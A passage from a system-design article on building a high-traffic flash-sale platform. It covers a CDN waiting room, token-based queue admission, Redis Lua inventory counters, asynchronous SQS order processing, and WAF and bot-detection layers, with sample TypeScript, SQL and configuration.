3. **Order durability under load** — Synchronous order processing cannot scale to 500K+ TPS. Asynchronous queues decouple order receipt from processing, with guaranteed delivery.

The mental model: **waiting room → token gate → atomic inventory → async order queue**. Each layer handles one constraint and shields the next.

| Design Decision        | Tradeoff                                                  |
| ---------------------- | --------------------------------------------------------- |
| CDN waiting room       | Absorbs traffic cheaply; adds user-facing latency         |
| Token-based admission  | Prevents overselling; requires pre-allocation             |
| Redis atomic counters  | Sub-millisecond inventory checks; single point of failure |
| Async order processing | Handles 100x normal load; delayed confirmation            |

## Requirements

### Functional Requirements

| Feature                     | Scope    | Notes                                 |
| --------------------------- | -------- | ------------------------------------- |
| Virtual waiting room        | Core     | Absorbs traffic spike before backend  |
| Queue management            | Core     | FIFO admission with position tracking |
| Inventory reservation       | Core     | Atomic decrement, no overselling      |
| Order placement             | Core     | Async processing with durability      |
| Bot detection               | Core     | Multi-layer defense                   |
| Payment processing          | Core     | Idempotent, timeout-aware             |
| Order confirmation          | Core     | Email/push notification               |
| Purchase limits             | Extended | 1-2 units per customer                |
| VIP early access            | Extended | Tiered queue priority                 |
| Real-time inventory display | Extended | Eventually consistent display         |

### Non-Functional Requirements

| Requirement             | Target    | Rationale                                                           |
| ----------------------- | --------- | ------------------------------------------------------------------- |
| Availability            | 99.99%    | Revenue impact; Alibaba achieved "zero downtime" during Singles Day |
| Waiting room latency    | < 100ms   | Static CDN, must feel instant                                       |
| Inventory check latency | < 50ms    | Critical path, Redis required                                       |
| Checkout latency        | < 5s      | User-acceptable; async processing hides backend                     |
| Queue position accuracy | Real-time | Trust requires visible progress                                     |
| Inventory accuracy      | 100%      | Zero tolerance for overselling                                      |
| Order durability        | Zero loss | Queued orders must survive failures                                 |

### Scale Estimation

**Traffic Profile:**

| Metric               | Normal  | Flash Sale Peak | Multiplier |
| -------------------- | ------- | --------------- | ---------- |
| Concurrent users     | 100K    | 10M             | 100x       |
| Page requests/sec    | 10K RPS | 1M RPS          | 100x       |
| Inventory checks/sec | 1K RPS  | 500K RPS        | 500x       |
| Orders/sec           | 100 TPS | 10K TPS         | 100x       |

**Back-of-envelope (1M users, 10K inventory):**

```
Users arriving in first minute: 1,000,000
Waiting room page views: 1M × 3 refreshes = 3M requests/min = 50K RPS
Queue status checks: 1M × 1 check/5sec = 200K RPS
Inventory checks (admitted users): 50K users admitted × 1 check = 50K RPS spike
Orders attempted: 50K (not all convert)
Orders completed: 10K (inventory limit)
```

**Storage:**

```
Queue state: 1M users × 100 bytes = 100MB (Redis)
Order records: 10K orders × 5KB = 50MB (PostgreSQL)
Event logs: 10M events × 200 bytes = 2GB/sale
```

## Design Paths

### Path A: Pre-Allocation Model (Token-Based)

**Best when:**

- Fixed, known inventory quantity
- Fairness is paramount (ticketing, limited editions)
- High-value items where overselling is catastrophic

**Architecture:**

![Diagram](./diagram-1.svg)

**Key characteristics:**

- Tokens generated equal to inventory before sale starts
- Each admitted user receives one token
- Token guarantees checkout opportunity (not purchase—user may abandon)
- Token expires if unused (returns to pool)

**Trade-offs:**

- :white_check_mark: Zero overselling by construction
- :white_check_mark: Predictable admission rate
- :white_check_mark: Fair (FIFO or randomized entry)
- :x: Requires accurate inventory count pre-sale
- :x: Token management complexity (expiration, reclaim)
- :x: Abandoned tokens reduce conversion

**Real-world example:** SeatGeek uses token-based admission for concert ticket sales. Lambda + DynamoDB manages token lifecycle; tokens expire on purchase or 15-minute timeout, returning to the pool for the next user in queue.

### Path B: Real-Time Inventory Model (Counter-Based)

**Best when:**

- Dynamic inventory (multiple warehouses, restocking)
- E-commerce flash sales with variable stock
- Lower-stakes items where occasional overselling is recoverable

**Architecture:**

![Diagram](./diagram-2.svg)

**Key characteristics:**

- No pre-allocation; inventory checked in real-time
- Atomic decrement at checkout (not admission)
- Rate limiting protects backend; doesn't guarantee purchase
- Inventory can be restocked mid-sale

**Trade-offs:**

- :white_check_mark: Handles dynamic inventory
- :white_check_mark: Simpler pre-sale setup
- :white_check_mark: Can restock mid-sale
- :x: Overselling risk if counter and order processing desync
- :x: Users admitted without guarantee (frustration)
- :x: Thundering herd on inventory service if rate limiting fails

**Real-world example:** Alibaba Singles Day uses Redis atomic counters with Lua scripts. Product ID = key, inventory = value. Lua script performs atomic `GET + DECR` in single operation. Handles 583K operations/second with careful sharding.

### Path Comparison

| Factor            | Path A (Token)              | Path B (Counter)              |
| ----------------- | --------------------------- | ----------------------------- |
| Overselling risk  | Zero                        | Low (with proper atomicity)   |
| Setup complexity  | Higher                      | Lower                         |
| Dynamic inventory | Difficult                   | Native                        |
| User expectation  | Guaranteed opportunity      | Best effort                   |
| Fairness          | Explicit (token order)      | Implicit (first to checkout)  |
| Best for          | Ticketing, limited releases | E-commerce, restockable goods |

### This Article's Focus

This article implements **Path A (Token-Based)** for the core flow because:

1. Flash sales typically have fixed, high-value inventory
2. Fairness is a differentiator (users accept waiting if fair)
3. Zero overselling is non-negotiable for most use cases

Path B implementation details are covered in the [Variations](#variations) section.

## High-Level Design

### Component Overview

| Component            | Responsibility                               | Technology               |
| -------------------- | -------------------------------------------- | ------------------------ |
| Virtual Waiting Room | Absorb traffic spike, display queue position | Static HTML on CDN       |
| Queue Service        | Manage admission, assign tokens              | Lambda + DynamoDB        |
| Inventory Service    | Atomic inventory operations                  | Redis Cluster            |
| Order Service        | Process orders asynchronously                | ECS + SQS                |
| Payment Service      | Handle payments idempotently                 | Stripe/Adyen integration |
| Notification Service | Send confirmations                           | SES + SNS                |
| Bot Detection        | Filter non-human traffic                     | WAF + Custom rules       |

### Request Flow

![Diagram](./diagram-3.svg)

## API Design

### Queue Service APIs

#### Join Queue

```http
POST /api/v1/queue/join
Authorization: Bearer {user_token}
X-Device-Fingerprint: {fingerprint}

{
  "sale_id": "flash-sale-2024-001",
  "product_ids": ["sku-001", "sku-002"]
}
```

**Response (202 Accepted):**

```json
{
  "queue_ticket": "qt_abc123xyz",
  "position": 15234,
  "estimated_wait_seconds": 180,
  "status_url": "/api/v1/queue/status/qt_abc123xyz"
}
```

**Error responses:**

- `400 Bad Request`: Invalid sale_id or product not in flash sale
- `403 Forbidden`: Bot detected or user already in queue
- `429 Too Many Requests`: Rate limit exceeded

#### Check Queue Status

```http
GET /api/v1/queue/status/{queue_ticket}
```

**Response (200 OK):**

```json
{
  "queue_ticket": "qt_abc123xyz",
  "status": "waiting",
  "position": 8234,
  "estimated_wait_seconds": 90,
  "poll_interval_seconds": 5
}
```

**Status values:**

- `waiting`: In queue, not yet admitted
- `admitted`: Token assigned, can proceed to checkout
- `expired`: Waited too long, removed from queue
- `completed`: Purchased or abandoned checkout

#### Token Admission (Internal)

When user reaches front of queue:

```json
{
  "queue_ticket": "qt_abc123xyz",
  "status": "admitted",
  "checkout_token": "ct_xyz789abc",
  "checkout_url": "/checkout?token=ct_xyz789abc",
  "token_expires_at": "2024-03-15T10:05:00Z"
}
```

### Checkout Service APIs

#### Start Checkout Session

```http
POST /api/v1/checkout/start
Authorization: Bearer {user_token}

{
  "checkout_token": "ct_xyz789abc",
  "product_id": "sku-001",
  "quantity": 1
}
```

**Response (201 Created):**

```json
{
  "session_id": "cs_def456",
  "reserved_until": "2024-03-15T10:05:00Z",
  "product": {
    "id": "sku-001",
    "name": "Limited Edition Sneaker",
    "price": 299.0,
    "currency": "USD"
  },
  "next_step": "payment"
}
```

**Error responses:**

- `400 Bad Request`: Invalid token or product
- `409 Conflict`: Token already used
- `410 Gone`: Token expired
- `422 Unprocessable`: Inventory exhausted (token invalid)

#### Submit Order

```http
POST /api/v1/orders
Authorization: Bearer {user_token}

{
  "session_id": "cs_def456",
  "shipping_address": {
    "line1": "123 Main St",
    "city": "San Francisco",
    "state": "CA",
    "postal_code": "94102",
    "country": "US"
  },
  "payment_method_id": "pm_card_visa"
}
```

**Response (202 Accepted):**

```json
{
  "order_id": "ord_789xyz",
  "status": "processing",
  "estimated_confirmation": "< 60 seconds",
  "tracking_url": "/api/v1/orders/ord_789xyz"
}
```

**Design note:** Returns 202 (not 201) because order processing is asynchronous. The order is durably queued but not yet confirmed.

### Pagination Strategy

Queue status uses cursor-based polling, not traditional pagination:

```json
{
  "position": 1234,
  "poll_interval_seconds": 5,
  "next_poll_after": "2024-03-15T10:01:05Z"
}
```

**Rationale:** Queue position changes continuously. Polling interval increases as position improves (less uncertainty near front).

## Data Modeling

### Queue State (DynamoDB)

```
Table: FlashSaleQueue
Partition Key: sale_id
Sort Key: queue_ticket

Attributes:
- user_id: string
- position: number (GSI for ordering)
- status: enum [waiting, admitted, expired, completed]
- joined_at: ISO8601
- admitted_at: ISO8601 | null
- checkout_token: string | null
- token_expires_at: ISO8601 | null
- device_fingerprint: string
- ip_address: string
```

**GSI:** `sale_id-position-index` for efficient position lookups.

**Why DynamoDB:** Single-digit millisecond latency at any scale, automatic scaling, TTL for expired entries.

### Inventory Counter (Redis)

```redis
# Inventory count per product
SET inventory:sku-001 10000

# Atomic decrement with Lua script
EVAL "
  local count = redis.call('GET', KEYS[1])
  if tonumber(count) > 0 then
    return redis.call('DECR', KEYS[1])
  else
    return -1
  end
" 1 inventory:sku-001
```

**Why Lua script:** `GET` and `DECR` must be atomic. Without Lua, two concurrent requests could both see `count=1` and both decrement, causing overselling.

### Token Registry (Redis)

```redis
# Token → user mapping with TTL
SETEX token:ct_xyz789abc 300 "user_123"

# Used tokens (prevent replay)
SADD used_tokens:flash-sale-2024-001 ct_xyz789abc
```

**TTL:** 5 minutes for checkout tokens. Expired tokens return to the pool.

### Order Schema (PostgreSQL)

```sql
CREATE TABLE orders (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    user_id UUID NOT NULL REFERENCES users(id),
    sale_id VARCHAR(50) NOT NULL,
    checkout_token VARCHAR(100) NOT NULL UNIQUE,
    status VARCHAR(20) DEFAULT 'pending',

    -- Order details
    product_id VARCHAR(50) NOT NULL,
    quantity INT NOT NULL DEFAULT 1,
    unit_price DECIMAL(10,2) NOT NULL,
    total_amount DECIMAL(10,2) NOT NULL,
    currency VARCHAR(3) DEFAULT 'USD',

    -- Shipping
    shipping_address JSONB NOT NULL,

    -- Payment
    payment_intent_id VARCHAR(100),
    payment_status VARCHAR(20),

    -- Timestamps
    created_at TIMESTAMPTZ DEFAULT NOW(),
    confirmed_at TIMESTAMPTZ,

    -- Idempotency
    idempotency_key VARCHAR(100) UNIQUE
);

CREATE INDEX idx_orders_user ON orders(user_id, created_at DESC);
CREATE INDEX idx_orders_sale ON orders(sale_id, status);
CREATE INDEX idx_orders_payment ON orders(payment_intent_id);
```

**Idempotency key:** Prevents duplicate orders if user retries during network issues. Typically `{user_id}:{checkout_token}`.

### Database Selection Matrix

| Data               | Store         | Rationale                                |
| ------------------ | ------------- | ---------------------------------------- |
| Queue state        | DynamoDB      | Single-digit ms latency, auto-scale, TTL |
| Inventory counters | Redis Cluster | Sub-ms atomic operations                 |
| Tokens             | Redis         | TTL, fast lookup                         |
| Orders             | PostgreSQL    | ACID, complex queries, durability        |
| Event logs         | Kinesis → S3  | High throughput, analytics               |
| User sessions      | Redis         | Fast auth checks                         |

## Low-Level Design

### Virtual Waiting Room

The waiting room is the first line of defense. It must:

1. Absorb millions of requests without backend load
2. Provide fair queue positioning
3. Communicate progress transparently

**Architecture:**

![Diagram](./diagram-4.svg)

**Static HTML design:**

```html collapse={1-10, 25-30}
<!DOCTYPE html>
<html>
  <head>
    <title>Flash Sale - Please Wait</title>
    <meta http-equiv="Cache-Control" content="no-cache" />
  </head>
  <body>
    <div id="waiting-room">
      <h1>You're in the queue</h1>

      <!-- Key UI elements -->
      <div id="position">Position: <span id="pos-number">--</span></div>
      <div id="estimate">Estimated wait: <span id="wait-time">--</span></div>
      <div id="progress-bar">
        <div id="progress-fill" style="width: 0%"></div>
      </div>

      <!-- Status messages -->
      <div id="status-message">Please keep this tab open</div>
      <div id="redirect-notice" style="display:none">Redirecting to checkout...</div>
    </div>

    <script src="/queue-client.js"></script>
  </body>
</html>
```

**Queue polling logic:**

```typescript collapse={1-8, 40-50}
// queue-client.ts
interface QueueStatus {
  status: "waiting" | "admitted" | "expired"
  position?: number
  estimated_wait_seconds?: number
  checkout_url?: string
  poll_interval_seconds: number
}

async function pollQueueStatus(ticket: string): Promise<void> {
  const response = await fetch(`/api/v1/queue/status/${ticket}`)
  const status: QueueStatus = await response.json()

  switch (status.status) {
    case "waiting":
      updateUI(status.position, status.estimated_wait_seconds)
      // Exponential backoff near front of queue
      const interval = status.poll_interval_seconds * 1000
      setTimeout(() => pollQueueStatus(ticket), interval)
      break

    case "admitted":
      showRedirectNotice()
      // Small delay for user to see the message
      setTimeout(() => {
        window.location.href = status.checkout_url
      }, 1500)
      break

    case "expired":
      showExpiredMessage()
      break
  }
}

// Start polling on page load
const ticket = new URLSearchParams(window.location.search).get("ticket")
if (ticket) {
  pollQueueStatus(ticket)
}
```

**Design decisions:**

| Decision            | Rationale                                                               |
| ------------------- | ----------------------------------------------------------------------- |
| Static HTML on CDN  | Millions of users hitting origin would saturate it; CDN absorbs at edge |
| Client-side polling | Push (WebSocket) at this scale requires massive connection management   |
| Exponential backoff | Users near front poll more frequently; reduces total requests           |
| No refresh needed   | Single-page polling prevents users from losing position by refreshing   |

### Queue Service (Token Management)

The queue service manages the FIFO queue and token assignment.

**Lambda handler:**

```typescript collapse={1-15, 60-75}
// queue-service.ts
import { DynamoDB } from "@aws-sdk/client-dynamodb"
import { DynamoDBDocument } from "@aws-sdk/lib-dynamodb"

const ddb = DynamoDBDocument.from(new DynamoDB({}))

interface QueueEntry {
  sale_id: string
  queue_ticket: string
  user_id: string
  position: number
  status: "waiting" | "admitted" | "expired" | "completed"
  checkout_token?: string
}

export async function joinQueue(
  saleId: string,
  userId: string,
  deviceFingerprint: string,
): Promise<{ ticket: string; position: number }> {
  // Check if user already in queue
  const existing = await findUserInQueue(saleId, userId)
  if (existing) {
    return { ticket: existing.queue_ticket, position: existing.position }
  }

  // Get current queue length (approximate, for position)
  const position = await getNextPosition(saleId)

  const ticket = generateTicket()

  await ddb.put({
    TableName: "FlashSaleQueue",
    Item: {
      sale_id: saleId,
      queue_ticket: ticket,
      user_id: userId,
      position: position,
      status: "waiting",
      joined_at: new Date().toISOString(),
      device_fingerprint: deviceFingerprint,
      ttl: Math.floor(Date.now() / 1000) + 3600, // 1 hour TTL
    },
    ConditionExpression: "attribute_not_exists(queue_ticket)",
  })

  return { ticket, position }
}

export async function admitNextUsers(saleId: string, count: number): Promise<void> {
  // Invoked by EventBridge at fixed rate (e.g., every second)
  // Admits 'count' users from front of queue

  const waiting = await ddb.query({
    TableName: "FlashSaleQueue",
    IndexName: "sale_id-position-index",
    KeyConditionExpression: "sale_id = :sid",
    FilterExpression: "#status = :waiting",
    ExpressionAttributeNames: { "#status": "status" },
    ExpressionAttributeValues: {
      ":sid": saleId,
      ":waiting": "waiting",
    },
    Limit: count,
    ScanIndexForward: true, // Ascending by position (FIFO)
  })

  for (const entry of waiting.Items || []) {
    await admitUser(entry as QueueEntry)
  }
}

async function admitUser(entry: QueueEntry): Promise<void> {
  const token = generateCheckoutToken()
  const expiresAt = new Date(Date.now() + 5 * 60 * 1000) // 5 min

  await ddb.update({
    TableName: "FlashSaleQueue",
    Key: { sale_id: entry.sale_id, queue_ticket: entry.queue_ticket },
    UpdateExpression: "SET #status = :admitted, checkout_token = :token, token_expires_at = :exp",
    ExpressionAttributeNames: { "#status": "status" },
    ExpressionAttributeValues: {
      ":admitted": "admitted",
      ":token": token,
      ":exp": expiresAt.toISOString(),
    },
  })

  // Also store token in Redis for fast lookup during checkout
  await redis.setex(`token:${token}`, 300, entry.user_id)
}
```

**Admission rate control:**

The admission rate must match backend capacity. EventBridge triggers `admitNextUsers` every second:

```
Admission rate = min(backend_capacity, remaining_inventory / expected_checkout_time)

Example:
- Backend can handle 1000 checkouts/sec
- Remaining inventory: 5000
- Average checkout time: 60 seconds
- Admission rate: min(1000, 5000/60) = min(1000, 83) = 83 users/sec
```

**Design decisions:**

| Decision                  | Rationale                                                   |
| ------------------------- | ----------------------------------------------------------- |
| DynamoDB for queue        | Handles millions of entries with single-digit ms latency    |
| Position as GSI           | Enables efficient "next N users" query                      |
| EventBridge for admission | Decouples admission rate from user requests                 |
| Token in Redis + DynamoDB | Redis for fast checkout validation; DynamoDB for durability |

### Inventory Service (Atomic Counters)

The inventory service prevents overselling through atomic operations.

**Redis Lua script for atomic reservation:**

```lua
-- reserve_inventory.lua
-- KEYS[1] = inventory key (e.g., "inventory:sku-001")
-- KEYS[2] = reserved set key (e.g., "reserved:sku-001")
-- ARGV[1] = user_id
-- ARGV[2] = quantity
-- ARGV[3] = reservation_id
-- ARGV[4] = ttl_seconds

local inventory_key = KEYS[1]
local reserved_key = KEYS[2]
local user_id = ARGV[1]
local quantity = tonumber(ARGV[2])
local reservation_id = ARGV[3]
local ttl = tonumber(ARGV[4])

-- Check current inventory
local available = tonumber(redis.call('GET', inventory_key) or 0)

if available < quantity then
    return { err = 'insufficient_inventory', available = available }
end

-- Atomic decrement
local new_count = redis.call('DECRBY', inventory_key, quantity)

if new_count < 0 then
    -- Race condition: restore and fail
    redis.call('INCRBY', inventory_key, quantity)
    return { err = 'race_condition' }
end

-- Track reservation for expiration
redis.call('HSET', reserved_key, reservation_id,
    cjson.encode({ user_id = user_id, quantity = quantity, created_at = redis.call('TIME')[1] }))
redis.call('EXPIRE', reserved_key, ttl)

return { ok = true, remaining = new_count, reservation_id = reservation_id }
```

**Inventory service implementation:**

```typescript collapse={1-12, 50-65}
// inventory-service.ts
import Redis from "ioredis"
import { readFileSync } from "fs"

const redis = new Redis.Cluster([
  { host: "redis-1.example.com", port: 6379 },
  { host: "redis-2.example.com", port: 6379 },
  { host: "redis-3.example.com", port: 6379 },
])

const reserveScript = readFileSync("./reserve_inventory.lua", "utf-8")

interface ReservationResult {
  success: boolean
  reservation_id?: string
  remaining?: number
  error?: string
}

export async function reserveInventory(
  productId: string,
  userId: string,
  quantity: number,
  ttlSeconds: number = 300,
): Promise<ReservationResult> {
  const reservationId = `res_${Date.now()}_${userId}`

  const result = (await redis.eval(
    reserveScript,
    2, // number of keys
    `inventory:${productId}`,
    `reserved:${productId}`,
    userId,
    quantity.toString(),
    reservationId,
    ttlSeconds.toString(),
  )) as any

  if (result.err) {
    return { success: false, error: result.err }
  }

  return {
    success: true,
    reservation_id: reservationId,
    remaining: result.remaining,
  }
}

export async function releaseReservation(productId: string, reservationId: string): Promise<void> {
  // Called when checkout times out or user abandons
  const reserved = await redis.hget(`reserved:${productId}`, reservationId)
  if (reserved) {
    const { quantity } = JSON.parse(reserved)
    await redis.incrby(`inventory:${productId}`, quantity)
    await redis.hdel(`reserved:${productId}`, reservationId)
  }
}

export async function confirmReservation(productId: string, reservationId: string): Promise<void> {
  // Called after successful payment - just remove from reserved set
  await redis.hdel(`reserved:${productId}`, reservationId)
}
```

**Reservation lifecycle:**

![Diagram](./diagram-5.svg)

**Design decisions:**

| Decision              | Rationale                                            |
| --------------------- | ---------------------------------------------------- |
| Lua script            | Atomic read-check-decrement prevents race conditions |
| Redis Cluster         | Horizontal scaling for high throughput               |
| Reservation with TTL  | Prevents inventory lock-up from abandoned checkouts  |
| Hash for reservations | O(1) lookup/delete by reservation ID                 |

### Order Processing (Async Queue)

Orders are placed on a durable queue for async processing. This decouples order receipt from processing, preventing database overwhelm.

**Order submission flow:**

```typescript collapse={1-10, 55-70}
// order-service.ts
import { SQSClient, SendMessageCommand } from "@aws-sdk/client-sqs"
import { v4 as uuid } from "uuid"

const sqs = new SQSClient({})
const ORDER_QUEUE_URL = process.env.ORDER_QUEUE_URL!

interface OrderRequest {
  session_id: string
  user_id: string
  product_id: string
  quantity: number
  shipping_address: Address
  payment_method_id: string
}

export async function submitOrder(request: OrderRequest): Promise<{ order_id: string }> {
  const orderId = uuid()
  const idempotencyKey = `${request.user_id}:${request.session_id}`

  // Check for duplicate submission
  const existing = await db.orders.findOne({ idempotency_key: idempotencyKey })
  if (existing) {
    return { order_id: existing.id }
  }

  // Create order record in pending state
  await db.orders.insert({
    id: orderId,
    user_id: request.user_id,
    product_id: request.product_id,
    quantity: request.quantity,
    status: "pending",
    idempotency_key: idempotencyKey,
    created_at: new Date(),
  })

  // Queue for async processing
  await sqs.send(
    new SendMessageCommand({
      QueueUrl: ORDER_QUEUE_URL,
      MessageBody: JSON.stringify({
        order_id: orderId,
        ...request,
      }),
      MessageDeduplicationId: idempotencyKey,
      MessageGroupId: request.user_id, // Ensures per-user ordering
    }),
  )

  return { order_id: orderId }
}
```

**Order processor (worker):**

```typescript collapse={1-15, 70-85}
// order-processor.ts
import { SQSEvent, SQSRecord } from "aws-lambda"
import Stripe from "stripe"

const stripe = new Stripe(process.env.STRIPE_SECRET_KEY!)

interface OrderMessage {
  order_id: string
  user_id: string
  product_id: string
  quantity: number
  shipping_address: Address
  payment_method_id: string
  session_id: string
}

export async function handler(event: SQSEvent): Promise<void> {
  for (const record of event.Records) {
    await processOrder(record)
  }
}

async function processOrder(record: SQSRecord): Promise<void> {
  const message: OrderMessage = JSON.parse(record.body)

  try {
    // 1. Verify reservation still valid
    const reservation = await getReservation(message.product_id, message.session_id)
    if (!reservation) {
      await markOrderFailed(message.order_id, "reservation_expired")
      return
    }

    // 2. Process payment
    const paymentIntent = await stripe.paymentIntents.create({
      amount: calculateTotal(message.product_id, message.quantity),
      currency: "usd",
      payment_method: message.payment_method_id,
      confirm: true,
      idempotency_key: `payment_${message.order_id}`,
    })

    if (paymentIntent.status !== "succeeded") {
      await releaseReservation(message.product_id, message.session_id)
      await markOrderFailed(message.order_id, "payment_failed")
      return
    }

    // 3. Confirm inventory (remove from reserved set)
    await confirmReservation(message.product_id, message.session_id)

    // 4. Update order status
    await db.orders.update(message.order_id, {
      status: "confirmed",
      payment_intent_id: paymentIntent.id,
      confirmed_at: new Date(),
    })

    // 5. Send confirmation
    await sendOrderConfirmation(message.order_id)
  } catch (error) {
    // Let SQS retry with exponential backoff
    throw error
  }
}

async function markOrderFailed(orderId: string, reason: string): Promise<void> {
  await db.orders.update(orderId, {
    status: "failed",
    failure_reason: reason,
  })

  // Notify user
  await sendOrderFailureNotification(orderId, reason)
}
```

**Dead letter queue handling:**

Orders that fail after max retries go to a Dead Letter Queue (DLQ) for manual review:

```typescript
// dlq-processor.ts
export async function handleDeadLetter(record: SQSRecord): Promise<void> {
  const message = JSON.parse(record.body)

  // Log for investigation
  console.error("Order failed permanently", {
    order_id: message.order_id,
    attempts: record.attributes.ApproximateReceiveCount,
    error: record.attributes.DeadLetterQueueSourceArn,
  })

  // Alert ops team
  await pagerduty.createIncident({
    title: `Flash sale order failed: ${message.order_id}`,
    severity: "high",
  })

  // Release inventory back to pool
  await releaseReservation(message.product_id, message.session_id)
}
```

**Design decisions:**

| Decision                    | Rationale                                          |
| --------------------------- | -------------------------------------------------- |
| SQS FIFO queue              | Exactly-once processing, per-user ordering         |
| Idempotency key             | Prevents duplicate orders on retry                 |
| Payment before confirmation | Never confirm inventory without successful payment |
| DLQ for failures            | Ensures no order is silently lost                  |

## Bot Detection and Fairness

### Multi-Layer Bot Defense

![Diagram](./diagram-6.svg)

**Layer 1: Edge defense (WAF)**

```yaml
# AWS WAF rules for flash sale
Rules:
  - Name: RateLimitPerIP
    Action: Block
    Statement:
      RateBasedStatement:
        Limit: 100 # requests per 5 minutes per IP
        AggregateKeyType: IP

  - Name: BlockKnownBots
    Action: Block
    Statement:
      IPSetReferenceStatement:
        ARN: arn:aws:wafv2:....:ipset/known-bots

  - Name: GeoRestriction
    Action: Block
    Statement:
      NotStatement:
        Statement:
          GeoMatchStatement:
            CountryCodes: [US, CA, GB, DE] # Allowed countries
```

**Layer 2: Application-level detection**

```typescript collapse={1-5, 35-45}
// bot-detection.ts
interface BotSignals {
  score: number
  signals: string[]
}

export function detectBot(request: Request): BotSignals {
  const signals: string[] = []
  let score = 0

  // Device fingerprint consistency
  const fp = request.headers.get("x-device-fingerprint")
  if (!fp || fp.length < 32) {
    signals.push("missing_fingerprint")
    score += 30
  }

  // Behavioral signals
  const timing = parseTimingHeader(request)
  if (timing.pageLoadToAction < 500) {
    // < 500ms is suspicious
    signals.push("fast_interaction")
    score += 25
  }

  // Browser consistency
  const ua = request.headers.get("user-agent")
  const acceptLang = request.headers.get("accept-language")
  if (isHeadlessBrowser(ua) || !acceptLang) {
    signals.push("headless_indicators")
    score += 40
  }

  // Known residential proxy detection
  const ip = getClientIP(request)
  if (await isResidentialProxy(ip)) {
    signals.push("residential_proxy")
    score += 20
  }

  return { score, signals }
}

export function shouldChallenge(signals: BotSignals): boolean {
  return signals.score >= 50
}

export function shouldBlock(signals: BotSignals): boolean {
  return signals.score >= 80
}
```

**Layer 3: Queue-level protection**

```typescript
// queue-protection.ts
export async function validateQueueJoin(
  userId: string,
  deviceFingerprint: string,
  saleId: string,
): Promise<{ allowed: boolean; reason?: string }> {
  // Check for duplicate user
  const existingEntry = await findUserInQueue(saleId, userId)
  if (existingEntry) {
    return { allowed: false, reason: "already_in_queue" }
  }

  // Check for fingerprint reuse (same device, different accounts)
  const fpCount = await countFingerprintInQueue(saleId, deviceFingerprint)
  if (fpCount >= 2) {
    return { allowed: false, reason: "device_limit_exceeded" }
  }

  // Velocity check: how many queues has this user joined recently?
  const recentJoins = await countRecentQueueJoins(userId, 3600) // last hour
  if (recentJoins >= 5) {
    return { allowed: false, reason: "velocity_exceeded" }
  }

  return { allowed: true }
}
```

### Fairness Mechanisms

**1. FIFO queue with randomized entry window**

Users who arrive before sale start are randomized when the sale begins (prevents "refresh at exactly 10:00:00" advantage):

```typescript
export async function openSaleQueue(saleId: string): Promise<void> {
  // Get all users who arrived in pre-sale window (e.g., last 15 minutes)
  const earlyArrivals = await getEarlyArrivals(saleId)

  // Shuffle positions randomly
  const shuffled = shuffleArray(earlyArrivals)

  // Assign positions 1, 2, 3, ...
  for (let i = 0; i < shuffled.length; i++) {
    await updatePosition(shuffled[i].queue_ticket, i + 1)
  }

  // Users arriving after sale start get position = current_max + 1 (true FIFO)
}
```

**2. Per-customer purchase limits**

```typescript
export async function validatePurchaseLimit(userId: string, productId: string, quantity: number): Promise<boolean> {
  const existingOrders = await db.orders.count({
    user_id: userId,
    product_id: productId,
    status: { $in: ["confirmed", "pending"] },
  })

  const LIMIT_PER_USER = 2
  return existingOrders + quantity <= LIMIT_PER_USER
}
```

## Frontend Considerations

### Waiting Room UX

**Critical UX decisions:**

| Decision                  | Implementation                           | Rationale                                       |
| ------------------------- | ---------------------------------------- | ----------------------------------------------- |
| Progress indicator        | Position + estimated time + progress bar | Reduces anxiety; users know they're progressing |
| No refresh needed         | SPA with polling                         | Prevents users from losing position             |
| Transparent communication | Show exact position                      | Trust requires honesty                          |
| Graceful degradation      | Static HTML                              | Must work even if JS fails                      |

**Optimistic UI for checkout:**

```typescript
// checkout-ui.ts
async function submitOrder(orderData: OrderData): Promise<void> {
  // Optimistic: show "Processing..." immediately
  setOrderStatus("processing")
  showConfirmationPreview(orderData)

  try {
    const { order_id } = await api.submitOrder(orderData)

    // Poll for confirmation (async processing)
    pollOrderStatus(order_id, (status) => {
      if (status === "confirmed") {
        setOrderStatus("confirmed")
        showSuccessAnimation()
      } else if (status === "failed") {
        setOrderStatus("failed")
        showRetryOption()
      }
    })
  } catch (error) {
    // Revert optimistic UI
    setOrderStatus("error")
    showErrorMessage(error)
  }
}
```

### Real-Time Queue Updates

**Polling vs WebSocket decision:**

| Factor         | Polling          | WebSocket                    |
| -------------- | ---------------- | ---------------------------- |
| Scale          | Easy (stateless) | Hard (connection management) |
| Latency        | 5-10s            | Sub-second                   |
| Infrastructure | Simple           | Complex                      |
| Battery impact | Higher           | Lower                        |

**Chosen: Adaptive polling** — Poll every 5s when far from front; every 1s when close.

```typescript
function calculatePollInterval(position: number, totalAhead: number): number {
  const progressPercent = 1 - position / totalAhead

  if (progressPercent > 0.9) return 1000 // Top 10%: 1s
  if (progressPercent > 0.7) return 2000 // Top 30%: 2s
  if (progressPercent > 0.5) return 3000 // Top 50%: 3s
  return 5000 // Back 50%: 5s
}
```

### Client State Management

```typescript
// flash-sale-state.ts
interface FlashSaleState {
  // Queue state
  queueTicket: string | null
  position: number | null
  status: "idle" | "queued" | "admitted" | "checkout" | "completed" | "expired"

  // Checkout state
  checkoutToken: string | null
  checkoutExpiresAt: Date | null
  reservationId: string | null

  // Order state
  orderId: string | null
  orderStatus: "pending" | "processing" | "confirmed" | "failed" | null
}

// State persisted to localStorage for tab recovery
function persistState(state: FlashSaleState): void {
  localStorage.setItem("flash-sale-state", JSON.stringify(state))
}

// Restore on page load (handles accidental tab close)
function restoreState(): FlashSaleState | null {
  const saved = localStorage.getItem("flash-sale-state")
  if (!saved) return null

  const state = JSON.parse(saved)

  // Check if checkout token is still valid
  if (state.checkoutExpiresAt && new Date(state.checkoutExpiresAt) < new Date()) {
    return null // Expired, start fresh
  }

  return state
}
```

## Infrastructure Design

### Cloud-Agnostic Components

| Component          | Purpose                     | Requirements                      |
| ------------------ | --------------------------- | --------------------------------- |
| CDN                | Waiting room, static assets | Edge caching, high throughput     |
| Serverless compute | Queue service, APIs         | Auto-scale, pay-per-use           |
| Key-value store    | Inventory counters, tokens  | Sub-ms latency, atomic operations |
| Document store     | Queue state                 | Single-digit ms, auto-scale       |
| Message queue      | Order processing            | Durability, exactly-once          |
| Relational DB      | Orders, users               | ACID, complex queries             |

### AWS Reference Architecture

![Diagram](./diagram-7.svg)

**Service configuration:**

| Service     | Configuration                                | Rationale                                |
| ----------- | -------------------------------------------- | ---------------------------------------- |
| CloudFront  | Origin: S3 (static), Cache: 1 year           | Waiting room must survive origin failure |
